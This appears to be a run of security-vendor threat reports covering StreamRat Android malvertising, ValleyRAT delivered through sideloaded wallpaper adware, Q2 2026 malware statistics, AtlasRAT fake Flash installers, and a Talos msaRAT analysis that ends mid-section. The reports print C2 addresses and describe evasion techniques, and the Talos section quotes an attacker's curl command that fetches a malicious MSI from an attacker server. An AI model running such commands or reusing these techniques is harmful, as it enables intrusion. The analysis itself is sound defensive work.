A malicious advertising campaign promoting a fake free TV-streaming service reached roughly 570,000 Meta users.

The researchers who discovered the campaign found that its streaming-themed ads were aimed at Spanish-speaking users, with most observed victims located in Spain. One Meta campaign ran from June 11 through July 3, 2026, and the same banners were also used to distribute the malware through TikTok.

The available data shows the ads’ reach, not the number of downloads or infections, but it demonstrates how quickly paid advertising can put a scam in front of a very large audience.

The ads promoted an Android banking Trojan and infostealer called StreamRat. It can monitor what’s on screen, capture information typed into apps, show convincing fake screens to steal usernames and passwords, and allow attackers to control the device remotely.

We often warn people not to click suspicious links in unexpected texts or emails. But malicious advertising is harder to recognize because it appears in the same feeds where people expect to find promotions, videos, and recommendations.

This campaign is a perfect demonstration of why “after-the-fact” ad checks are inadequate when it comes to protecting social media users. Attackers used familiar social media advertising and carefully tailored instructions to turn casual interest in free entertainment into a risky app installation.

How the attack worked

The ad led victims to a website posing as a streaming platform. The site checked whether a visitor was using Android. Non-Android visitors were simply prevented from downloading anything, while Android users were shown an app download option. This is a common way for scammers to concentrate their efforts on devices their malware can infect.

The site also identified whether someone had arrived through Instagram, TikTok, Facebook, or a regular browser. It then displayed instructions suited to that situation, including steps to allow the browser to install apps from “unknown sources.” In other words, this was not a generic malicious download page: It was designed to coach people through the security warnings that would normally make them stop and think.

StreamRat is an Android banking Trojan and infostealer. It can monitor what’s on screen, capture information typed into apps, show convincing fake screens to collect usernames and passwords, and enable attackers to operate the device remotely. The researchers also found options to cover the screen with a black page or fake Android update screen. These can distract victims while criminals interact with the phone behind the scenes.

How to stay safe

While this campaign targeted Spanish-speaking people, primarily in Spain, the following guidelines can help anyone avoid similar attacks.

• Avoid installing Android apps from ads, direct-download websites, social media messages, sponsored search results, or links sent by strangers.
• Download apps through Google Play whenever possible, and check the developer’s name, reviews, and app history rather than relying on an ad.
• Before enabling installation from “unknown sources,” read our guide, Sideloading on Android: What it is, why it’s risky, and how to do it more safely.
• Be very cautious when an app asks for Accessibility access, screen-sharing permission, Device Admin privileges, or permission to become the default launcher. Permissions that don’t line up with the intended use of the app are very suspicious.
• Use an up-to-date, real-time anti-malware solution on all your devices.

What to do if you installed a suspicious app

If you installed a suspicious APK and granted it Accessibility access, disconnect the phone from Wi-Fi and mobile data. If possible, revoke the app’s Accessibility access and remove it. Use another device to change relevant passwords and contact your bank if you used banking apps on the infected phone. A factory reset may be necessary if you cannot confidently remove the infection.

Malwarebytes for Android detects the components of StreamRat as Android/Trojan.Agent.ACRAEEF8A36H36, Android/Trojan.Agent.ACR02DB0614H7, and Android/Trojan.Dropper.ACR9B7ECE83D1.

---

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.

Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.

Malicious installer

The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.

Installer name	What it does
FS_SETUP_DD_173.exe	Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe	Installs Google Chrome
FS_SETUP_HY_173.exe	Opens hxxps://meeting[.]tencent[.]com/download/

These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.

The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.

The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:

File name	MD5	Purpose
1.zip	7ad1e3ef4e6d9d636c9e7e967733850e	Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll	96b4c1d0683dce22bd3223e1e40689c1	7z archiver library
7z.exe	9b86d3ab6cef15c633933fbbeab39c0a	Archiver
chrome_elf.dll	edfdc30cbd85879776b8f735ea7de1f1	Library used to launch Electron-based applications
libcef.dll	07ddbbe2c71c45577a7a4fbcdba0df91	Malicious library
PeLoader	48826d5ca845979d2e6ebd66dc1aae90	File containing the encrypted backdoor
QnWallpaper.exe	6c158c0f8e029342192d4f0d72e102b7	Adware module
QnwPlayer.exe	9a71d6a41cd258b9e89cdc5fc224de73	Adware module
<random string of letters and digits>Nedca.exe	c24e99f9437feacaa63766a3cde3fe3d	Malicious installer copy

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

• Whether the current user belongs to the Administrators group
• Which process the DLL is running inside

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

• If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
  

  Encrypted payload

• If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
  

  Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Some of the configuration fields are listed below:

Key	Description
p?	C2 server IP address
o?	C2 server port
t?	Protocol (1: TCP, 0: UDP)
dd	Sleep duration before executing the main code
cl	Sleep duration after receiving the corresponding command from the server
bz	Configuration creation date
bh	Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll	Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh	Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

• Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
  

  Injecting code into svchost

  The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

  

  Injected function

• Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
  

  Setting its own process as critical

• Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
  

  Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

After completing these checks, the backdoor collects system information, including:

• Host name
• Host IP addresses
• User idle time
• Detailed Windows version information (ProductName, EditionId, DisplayVersion)
• Number of CPU cores
• Free disk space
• Graphics adapter
• Currently focused window and its title
• System bitness
• Language settings
• Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

• Rebooting the computer
• Shutting down the computer
• Taking a screenshot
• Wiping logs
• Updating its C2 addresses
• Downloading additional modules
• Sending keylogger logs along with clipboard contents

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

Overview AhnLab monitored APT (Advanced Persistent Threat) attacks targeting entities in Korea using its own infrastructure. This report summarizes the classification, statistics, and functional characteristics for each type of domestic APT attacks identified during the month of July 2026. Trends of APT Attacks in South Korea Most APT attacks detected in South Korea were distributed […]

IT threat evolution in Q2 2026. Non-mobile statistics
IT threat evolution in Q2 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q2 2026:

• Kaspersky products blocked nearly 400 million attacks that originated with various online resources.
• Web Anti-Virus responded to 52 million unique links.
• File Anti-Virus blocked more than 16 million malicious and potentially unwanted objects.
• There were 2538 new ransomware variants discovered.
• More than 71,000 users experienced ransomware attacks.
• 15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were attacked by Qilin.
• More than 213,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Threat actor disruption

Microsoft has dismantled an illicit malware-signing service used by ransomware operators. Microsoft’s Digital Crimes Unit has shut down a malware-signing-as-a-service (MSaaS) operation run by the threat group Fox Tempest. The illicit service abused the Microsoft Artifact Signing platform to generate digital signature certificates for malicious software. Malware signed by these certificates was observed in campaigns conducted by such ransomware groups as Rhysida, Akira, INC, Qilin, and BlackByte. The service was also leveraged by operators of the Oyster loader as well as the Lumma and Vidar infostealers. To disrupt the operation, Microsoft seized the domain used by the MSaaS platform, revoked all associated certificates, and disabled the related accounts. Additionally, the company filed a lawsuit against Fox Tempest.

Vulnerabilities and attacks

CISA has confirmed that a Windows vulnerability known as BlueHammer is actively being exploited in ransomware attacks. On April 22, the agency updated its Known Exploited Vulnerabilities (KEV) catalog to note the ongoing ransomware exploitation of CVE-2026-33825. The local privilege escalation flaw in Microsoft Defender was originally disclosed earlier in April. Although Microsoft released a fix on April 14, unpatched systems remain vulnerable. CISA did not disclose further details or attribute the attacks to specific threat groups.

Check Point has linked zero-day exploitation of CVE-2026-50751 to the Qilin ransomware group. The critical vulnerability affects Check Point Remote Access VPN and Mobile Access. Attackers began exploiting the flaw as a zero-day on May 7, with activity spiking sharply in early June. While several dozen organizations have been targeted, at least one incident has been definitively tied to Qilin. Check Point also disclosed a related certificate validation flaw (CVE-2026-50752) that affects site-to-site VPN connections relying on the legacy IKEv1 key exchange protocol.

Researchers assess with high confidence that the PayoutsKing group is leveraging the legitimate QEMU emulator to deploy hidden, Alpine Linux-based virtual machines on compromised hosts. Because security solutions often lack visibility inside virtualized environments, the threat actors use this technique to evade detection. Inside the VM image, the operators deploy various tools — such as credential theft software — and configure the virtual machine as a backdoor managed via a reverse SSH tunnel to their command-and-control infrastructure. While the technique is not new, and we’ve detailed it before, it remains relatively rare in ransomware attacks.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. Qilin reclaimed the top spot (accounting for 14.57% of total listings) after placing second last quarter. It is followed by the Akira ransomware (7.80%) and the DragonForce RaaS group (6.88%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new ransomware variants

In Q2, Kaspersky solutions detected four new ransomware families and 2538 new modifications. This signals a continued stabilization following spikes seen in Q1 and Q4 of last year.

Number of new ransomware modifications, Q2 2025 — Q2 2026 (download)

Number of users attacked by ransomware Trojans

Our solutions protected a total of 71,860 unique users from ransomware during Q2. Ransomware activity peaked in April, with 31,206 targeted users recorded during that month.

Number of unique users attacked by ransomware Trojans, Q2 2026 (download)

TOP 10 countries and territories attacked by ransomware Trojans

	Country/territory*	%**
1	South Korea	0.87
2	Pakistan	0.76
3	China	0.71
4	Libya	0.49
5	Tajikistan	0.46
6	Turkmenistan	0.38
7	Cameroon	0.38
8	Indonesia	0.36
9	Bangladesh	0.36
10	Mozambique	0.34

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

	Name	Verdict	%*
1	(generic verdict)	Trojan-Ransom.Win32.Gen	28.02
2	WannaCry	Trojan-Ransom.Win32.Wanna	7.14
3	(generic verdict)	Trojan-Ransom.Win32.Crypren	6.27
4	(generic verdict)	Trojan-Ransom.Win32.Agent	4.89
5	(generic verdict)	Trojan-Ransom.Win32.Encoder	4.65
6	(generic verdict)	Trojan-Ransom.Python.Agent	3.07
7	(generic verdict)	Trojan-Ransom.Win32.Crypmod	2.70
8	(generic verdict)	Trojan-Ransom.MSIL.Agent	2.45
9	PolyRansom/VirLock	Virus.Win32.PolyRansom / Trojan-Ransom.Win32.PolyRansom	2.31
10	(generic verdict)	Trojan-Ransom.Win32.Phny	2.12

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new miner variants

In Q2 2026, Kaspersky solutions detected 6067 new miner variants, almost twice the number for the previous reporting period.

Number of new miner modifications, Q2 2026 (download)

Number of users attacked by miners

In Q2, we detected attacks using miner programs on the computers of 213,003 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q2 2026 (download)

TOP 10 countries and territories attacked by miners

	Country/territory*	%**
1	Mali	1.56
2	Senegal	1.54
3	Tanzania	1.32
4	Panama	1.04
5	Bangladesh	1.03
6	Ethiopia	0.87
7	Costa Rica	0.67
8	Bolivia	0.67
9	Côte d’Ivoire	0.65
10	Kazakhstan	0.62

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

Quarterly highlights

In April, Aikido researchers reported a new attack by the GlassWorm stealer, which was distributed via malicious IDE extensions on the Open VSX Registry. The payload operated by installing a secondary malicious extension across all installed IDE environments on the host machine. Ultimately, this second-stage implant exfiltrated crypto wallet data, environment variables, and other secrets. It also installed a RAT on the infected device.

In May, Socket researchers uncovered a supply chain compromise involving the popular npm package art-template. As a result of the breach, the weaponized package injected the Coruna exploit kit into web applications it was used to build. Coruna targets iOS devices.

In June, Palo Alto Networks’ Unit 42 discovered FlutterShell, a new backdoor family that targets macOS devices. Developed with the Flutter framework, the malware leverages the WebView engine to load web pages that contain malicious JavaScript. On the client side, the backdoor registers bridge functions invoked by the loaded JavaScript that allow threat actors to execute arbitrary payloads on the victim’s device. Notably, the malicious applications successfully passed Apple notarization. Although the specific samples analyzed functioned primarily as adware, the underlying architecture permits the delivery of far more sophisticated malicious payloads.

TOP 20 threats to macOS

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.

TOP 10 countries and territories by share of attacked users

Country/territory	%* Q1 2026	%* Q2 2026
Brazil	1.13	1.13
China	1.04	1.28
Hong Kong	0.92	0.49
Singapore	0.85	0.19
France	0.62	1.18
Mexico	0.43	0.72
India	0.41	0.42
Thailand	0.40	0.24
Germany	0.33	0.71
The Netherlands	0.31	0.62

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The share of SSH attacks saw a slight uptick compared to the previous quarter.

Distribution of cybercriminal sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.

Attacks on IoT honeypots

the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.

Country/territory	Q1 2026	Q2 2026
The Netherlands	17.57%	21.18%
Germany	10.34%	16.73%
United States	23.74%	6.76%
Bulgaria	1.10%	5.50%
Sweden	2.09%	4.93%
Panama	6.34%	4.67%
Luxembourg	0.16%	4.62%
Romania	5.82%	4.06%
Vietnam	3.50%	3.91%
India	6.05%	2.78%

The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.

Country/territory	Q1 2026	Q2 2026
Pakistan	27.31%	36.60%
China	39.54%	35.62%
Russian Federation	8.25%	8.75%
India	4.66%	4.19%
Brazil	3.30%	3.34%
United States	0.45%	3.03%
Indonesia	6.71%	1.52%
Philippines	0.36%	0.95%
France	0.17%	0.84%
Thailand	0.55%	0.66%

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Bangladesh	11.71
2	India	7.40
3	Tajikistan	7.13
4	Venezuela	7.05
5	New Zealand	6.58
6	Vietnam	6.34
7	Taiwan	6.28
8	Belgium	6.24
9	France	5.97
10	Hungary	5.92
11	Nepal	5.91
12	Portugal	5.86
13	Italy	5.77
14	Costa Rica	5.72
15	Canada	5.65
16	Qatar	5.61
17	Dominican Republic	5.52
18	Palestine	5.48
19	Greece	5.47
20	UAE	5.43

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Turkmenistan	46.38
2	Cuba	29.70
3	Tajikistan	28.46
4	Afghanistan	28.19
5	Yemen	27.85
6	Burundi	26.82
7	Mozambique	25.01
8	Republic of the Congo	24.88
9	Syria	23.17
10	Uzbekistan	22.49
11	China	21.92
12	Nicaragua	21.60
13	Cameroon	21.47
14	Bangladesh	20.43
15	Democratic Republic of the Congo	20.25
16	Algeria	19.78
17	Uganda	19.48
18	Ethiopia	18.57
19	Tanzania	18.54
20	Mali	18.53

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.

Russia scored 10.78% in these rankings.

Nearly half of C2 malware bypasses DNS by connecting directly to IP addresses. Zero trust IP enforcement secures networks against these threats.

The post Almost Half of Malware Samples Communicate Direct to IP appeared first on Unit 42.

Researchers have described a campaign that delivers a remote access Trojan (RAT) called AtlasRAT through a fake Flash Player installer.

People still go looking for “Flash player” because a surprising amount of content and software was built around Flash and never properly migrated. Users often just want a quick way to get those old sites, games, or business apps working again.

The underlying problem is that Adobe ended support for Flash Player on December 31, 2020, and actively blocks Flash content from running in the official player.

Attackers know some people will still search for Flash to run a game or a business app, so they wrap their malware in a fake Flash‑related installer that looks familiar and legitimate.

That’s likely why the AtlasRAT infection chain starts with a Delphi executable named FlashPlay.Exe, masquerading as an “AGE Flash Player” installer. The first-stage loader runs entirely in memory and reconstructs additional payloads instead of dropping obvious files to disk, a technique often referred to as fileless malware.

The final payload (MainDll.Dll) uses a self‑signed certificate spoofing CN=update.Microsoft.Com to initialize Transport Layer Security (TLS) client communication and encrypts Command and Control (C2) traffic.

A self‑signed certificate means the owner signs with their own key instead of a trusted certificate authority (CA). That means an attacker can create a certificate claiming to be update.microsoft.com or google.com, even though they don’t control those domains. A web browser would reject such a certificate with a warning. Custom malware, however, can simply ignore the operating system’s trust checks and use it to set up encrypted C2.

Once AtlasRAT is installed, the operator gains long‑term remote control of the infected Windows system with capabilities including:

• Collecting credentials via offline keylogging
• Gathering system information and identifying installed security products
• Exfiltrating data over encrypted channels
• Injecting DLLs into applications like WeChat, potentially allowing the attacker to monitor or manipulate messaging, or to hide malware activity or connectivity.

Based on historical data, the researchers suspect that AtlasRAT is a reusable framework or commercial offering rather than a one-off tool used by a single group.

How to stay safe

When looking for apps and software to perform a specific task, remember that cybercriminals often exploit popular searches in semi-targeted attacks. In previous campaigns, for example, AtlasRAT has also been distributed as a fake VPN installer.

Some tips to keep this RAT, and others, off your computer:

• Carefully check what you’re about to install. Sponsored search results are not a guarantee that software is legitimate.
• Use an up-to-date, real-time anti-malware solution to detect and block remote access Trojans. Malwarebytes detected AtlasRAT as Malware.AI.1710771908
• Keep your operating system, browser, and security software up to date.

---

From reporting threats to removing them.

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Summary AtlasRAT is a Windows-based remote access malware. This report analyzes a four-stage in-memory loader chain—which begins with a Delphi executable that is disguised as AGE Flash Player—and its final RAT functionality. The final payload performs TLS-based ChaCha20-encrypted C2 communication, executes modular plugins, performs offline keylogging, and injects DLLs into WeChat processes. Group Characteristics Public […]

Content AhnLab monitored domestic APT (Advanced Persistent Threat) attacks—attacks that are conducted covertly and persistently—using its own infrastructure. This report summarizes the classification and statistics on domestic APT attacks identified in June 2026 and describes the capabilities of each type of APT attack. Purpose and Scope Most of the APT attacks identified in Korea were […]

• Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
• msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
• This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
• msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.

---

Overview of Chaos ransomware

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.

Infection chain

Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

lib.dll (msaRAT)

msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.

Tokio runtime initialization

Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.

As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.

During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.

By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.

Hijacking the browser

Locating the Chrome or Edge installation path

After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.

1. Path Discovery via Environment Variables

The malware attempts the following combinations in priority order, checking whether the file exists at each path.

2. Path Discovery via registry

If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.

If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.

Launching the browser in headless mode

